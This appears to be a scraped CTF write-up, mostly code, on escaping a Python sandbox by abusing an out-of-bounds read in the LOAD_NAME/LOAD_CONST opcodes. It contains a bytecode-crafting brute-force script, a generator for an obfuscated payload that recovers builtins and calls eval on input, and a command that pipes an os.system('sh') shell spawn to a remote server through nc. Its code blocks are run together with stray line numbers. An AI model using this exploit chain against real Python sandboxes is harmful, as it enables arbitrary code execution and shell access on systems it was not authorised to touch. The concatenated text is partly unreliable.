LOAD_NAME / LOAD_CONST opcode OOB Read
最后更新于
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]12340 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())